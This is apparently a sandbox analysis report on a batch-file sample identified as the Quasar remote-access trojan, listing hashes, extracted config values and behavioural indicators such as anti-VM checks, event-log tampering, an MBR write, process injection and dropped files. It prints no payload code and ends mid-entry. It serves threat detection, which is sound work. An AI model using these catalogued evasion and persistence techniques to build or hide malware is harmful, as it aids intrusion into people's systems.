Analysis
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max time kernel
89s -
max time network
88s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
04-01-2025 01:49
Static task
static1
Behavioral task
behavioral1
Sample
0x001a00000002ab29-1094.bat
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
0x001a00000002ab29-1094.bat
Resource
win10v2004-20241007-en
General
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Target
0x001a00000002ab29-1094.bat
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Size
7.3MB
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MD5
1bec1098946595a03fa067a3ef7ce292
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SHA1
89cfb4a2f8800f1b944d906d959639907672317d
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SHA256
a8f184a333fb89f41ddca323472463b4ee2cbed63d26d105823300148e2015cb
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SHA512
dc7e73ed353d50b73a0eb6f1d955812a29fc5e05df300487d1eda49cc78e6748929a17cd59b58148f7e8696fd0fdfd21e8269af6788f1037bda6d8ddf30c6082
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SSDEEP
49152:262lW3ZtqF71E0f+DP24xmB1F+RfHhZzvTUPbFJMg0FQ5/Ai4cr5YSW7iFsihJv1:k
Malware Config
Extracted
quasar
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encryption_key
6F38862AF940DB0B877E1A5C024641D617D7FAB6
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reconnect_delay
3000
Signatures
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Quasar family
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Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/64-2650-0x000002E601260000-0x000002E6019E4000-memory.dmp family_quasar -
Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
description pid Process procid_target PID 4800 created 3264 4800 WerFault.exe 89 PID 2024 created 64 2024 WerFault.exe 129 -
Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs
description pid Process procid_target PID 3264 created 620 3264 powershell.exe 5 PID 3140 created 3264 3140 svchost.exe 89 PID 64 created 620 64 powershell.exe 5 PID 3140 created 64 3140 svchost.exe 129 PID 3140 created 64 3140 svchost.exe 129 PID 3140 created 2852 3140 svchost.exe 134 -
Blocklisted process makes network request 2 IoCs
flow pid Process 42 64 powershell.exe 44 64 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 3264 powershell.exe 64 powershell.exe -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Deletes itself 1 IoCs
pid Process 3264 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 1728 aIiZYq.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx svchost.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\B: svchost.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe -
Drops file in System32 directory 15 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\$nya-JzLG9gxU svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\Application Experience\PcaPatchDbTask svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D lsass.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 22 IoCs
pid Process 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe 64 powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3264 set thread context of 1104 3264 powershell.exe 90 PID 64 set thread context of 2636 64 powershell.exe 130 -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN powershell.exe -
Drops file in Windows directory 12 IoCs
description ioc Process File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File created C:\Windows\Logs\CBS\CBS.log TrustedInstaller.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TrustedInstaller.exe File opened for modification C:\Windows\$nya-onimai2 powershell.exe File created C:\Windows\$nya-onimai2\aIiZYq.exe powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\$rbx-onimai2 powershell.exe File created C:\Windows\$rbx-onimai2\$rbx-CO2.bat cmd.exe -
Checks SCSI registry key(s) 3 TTPs 29 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID RuntimeBroker.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 RuntimeBroker.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 RuntimeBroker.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID RuntimeBroker.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 RuntimeBroker.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID RuntimeBroker.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID RuntimeBroker.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 RuntimeBroker.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe -
Checks processor information in registry 2 TTPs 13 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe -
Enumerates system info in registry 2 TTPs 7 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-1045960512-3948844814-3059691613-1000\02pufbpqoermktip\Reason = "2147780641" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-1045960512-3948844814-3059691613-1000\02roaqmchjipqndl\DeviceId = "<Data><User username=\"02ROAQMCHJIPQNDL\"><HardwareInfo BoundTime=\"1735955394\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02oxlvexyyjmvlym svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02oxlvexyyjmvlym\DeviceId = "<Data LastUpdatedTime=\"1735955389\"><User username=\"02OXLVEXYYJMVLYM\"/></Data>\r\n" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02oxlvexyyjmvlym\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};" svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-1045960512-3948844814-3059691613-1000\02roaqmchjipqndl\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-1045960512-3948844814-3059691613-1000\02pufbpqoermktip\AppIdList svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-1045960512-3948844814-3059691613-1000\ValidDeviceId = "02roaqmchjipqndl" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02oxlvexyyjmvlym\Provision Saturday, January 04, 2025 01:49:48 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAfYu9oc1am0yvHfxstgb83QAAAAACAAAAAAAQZgAAAAEAACAAAABvcv+5Ot92vuC8ScmhRCA01Qt4cK9+iaB+JBM9xYHKqwAAAAAOgAAAAAIAACAAAACjbt5VO283Ax+elzQ6WgCawiYH+D9g2UdBU0u8P81UHiAAAAD6uQOpnX1QbaJUw+neCxBYsiBr5xm+vrccjJQU+AoLO0AAAABfijf3KUqoAdPbhm3xwOiYk9qvxKnxnzh5UfyLo6tLzcBPtbyZqGkf52ABIkKKl4xVqAWAPC+7Yt8Fx0U8MFmS" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-1045960512-3948844814-3059691613-1000\02roaqmchjipqndl\DeviceId = "<Data DAInvalidationTime=\"1735955395\"><User username=\"02ROAQMCHJIPQNDL\"><HardwareInfo BoundTime=\"1735955394\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "00188011C582F948" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\00188011C582F948 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000007d8bbda1cd5a9b4caf1dfc6cb606fcdd00000000020000000000106600000001000020000000124fa2afa11847bd906ff50784aa01e47a4b57684061b317f164d15b382f0632000000000e80000000020000200000007f5b2eb2e595a7c7995c20b0475b85522f372d8e74fb79b881d19143108a9ea080000000e363bc1d3b4f15d67d00c8a0ee30430bf6a886f2e0860661e2bb93f0c78c21f44dc191ab7898b92b9cac0788fa06ffd3bb427df922777b1b9498330a86e6db51c78d4df5f1172b3053a6185127268516924cdaeddb2a534703bb9a913cbb51b894b0c07b551b9c52fba054f842dec4113e356b69ef56d9b6baa036ca5d55ce3f40000000af8f368948bab63f86a9e2f60e4816da412ef01436540baa531a6b86a7f256489e5882796edce38ab34ce5571ea2de59ea84f429137965eedb168fff02863211 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02oxlvexyyjmvlym svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02pufbpqoermktip\Response Saturday, January 04, 2025 01:49:52 = "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" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\Windows Error Reporting\LastCrashSelfReportTime = "133804290626902445" svchost.exe Set value (str) 